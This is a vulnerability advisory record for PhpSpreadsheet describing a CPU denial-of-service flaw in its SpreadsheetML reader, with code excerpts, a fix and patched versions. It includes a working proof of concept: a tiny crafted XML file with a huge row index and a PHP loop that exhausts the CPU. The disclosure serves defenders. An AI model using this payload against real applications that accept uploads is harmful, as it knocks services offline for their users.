{"id":"CVE-2026-40863","aliases":["GHSA-84wq-86v6-x5j6"],"title":"PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader","summary":"PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader","severity":"high","cvss":7.5,"cwe":["CWE-400","CWE-770"],"vendor":"phpoffice","product":"phpoffice/phpspreadsheet","ecosystem":"composer","affected":["phpoffice/phpspreadsheet >= 4.0.0, <= 5.6.0","phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.4","phpoffice/phpspreadsheet >= 2.2.0, <= 2.4.4","phpoffice/phpspreadsheet >= 2.0.0, <= 2.1.15","phpoffice/phpspreadsheet <= 1.30.5"],"patched":["phpoffice/phpspreadsheet 5.7.0","phpoffice/phpspreadsheet 3.10.5","phpoffice/phpspreadsheet 2.4.5","phpoffice/phpspreadsheet 2.1.16","phpoffice/phpspreadsheet 1.30.6"],"published":"2026-04-29","updated":"2026-10-26","sourceUpdated":"2026-10-26T20:53:09Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","references":[{"url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40863"},{"url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6"}],"tags":["ghsa","composer"],"epss":0.00395,"epssPercentile":0.33547,"ingestedAt":"2026-10-27T16:11:58.788Z","slug":"CVE-2026-40863","body":"## Overview\n\n## Summary\n\nThe SpreadsheetML XML reader (`Reader\\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index=\"999999999\"` on a `<Row>` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `<Row>` elements:\n\n```php\n// Xml.php:397-402\nif (isset($row_ss['Index'])) {\n    $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW\n}\nif (isset($row_ss['Hidden'])) {\n    $rowVisible = ((string) $row_ss['Hidden']) !== '1';\n    $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);\n}\n```\n\nThe `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`:\n\n```php\n// Worksheet.php:1342-1351\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this->rowDimensions[$row])) {\n        $this->rowDimensions[$row] = new RowDimension($row);\n        $this->cachedHighestRow = max($this->cachedHighestRow, $row);\n    }\n    return $this->rowDimensions[$row];\n}\n```\n\nThis inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`.\n\nThe `RowIterator` constructor uses `getHighestRow()` as its default end row:\n\n```php\n// RowIterator.php:84-88\npublic function resetEnd(?int $endRow = null): static\n{\n    $this->endRow = $endRow ?: $this->subject->getHighestRow();\n    return $this;\n}\n```\n\nWith `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection — it returns `true` for all cells.\n\nEven without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability.\n\n## PoC\n\n1. Create `poc.xml`:\n```xml\n<?xml version=\"1.0\"?>\n<?mso-application progid=\"Excel.Sheet\"?>\n<Workbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\">\n <Worksheet ss:Name=\"Sheet1\">\n  <Table>\n   <Row ss:Index=\"999999999\" ss:Hidden=\"1\"/>\n   <Row><Cell><Data ss:Type=\"String\">test</Data></Cell></Row>\n  </Table>\n </Worksheet>\n</Workbook>\n```\n\n2. Load and iterate:\n```php\n<?php\nrequire 'vendor/autoload.php';\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader('Xml');\n$spreadsheet = $reader->load('poc.xml');\n$sheet = $spreadsheet->getActiveSheet();\n\necho \"Highest row: \" . $sheet->getHighestRow() . \"\\n\";\n// Outputs: Highest row: 1000000000\n\n// This loop will attempt ~1 billion iterations → CPU exhaustion\nforeach ($sheet->getRowIterator() as $row) {\n    // Never completes\n}\n```\n\n## Impact\n\nAny PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:\n\n- Exhausting server CPU with a single small XML file (~300 bytes)\n- Blocking the PHP worker process, potentially affecting all concurrent users\n- Triggering PHP max_execution_time limits that still consume resources before killing the process\n\nThe attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.\n\n## Recommended Fix\n\nAdd MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`:\n\n```php\n// After line 398:\nif (isset($row_ss['Index'])) {\n    $rowID = (int) $row_ss['Index'];\n    if ($rowID > AddressRange::MAX_ROW) {\n        $rowID = AddressRange::MAX_ROW;\n    }\n}\n```\n\nAdd the necessary import at the top of the file:\n```php\nuse PhpOffice\\PhpSpreadsheet\\Cell\\AddressRange;\n```\n\nThe same validation should also be applied to the `ss:Index` attribute on `<Cell>` elements (line 409) for the column dimension.\n\n## Affected packages\n\n- `phpoffice/phpspreadsheet >= 4.0.0, <= 5.6.0`\n- `phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.4`\n- `phpoffice/phpspreadsheet >= 2.2.0, <= 2.4.4`\n- `phpoffice/phpspreadsheet >= 2.0.0, <= 2.1.15`\n- `phpoffice/phpspreadsheet <= 1.30.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `phpoffice/phpspreadsheet 5.7.0`\n- `phpoffice/phpspreadsheet 3.10.5`\n- `phpoffice/phpspreadsheet 2.4.5`\n- `phpoffice/phpspreadsheet 2.1.16`\n- `phpoffice/phpspreadsheet 1.30.6`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}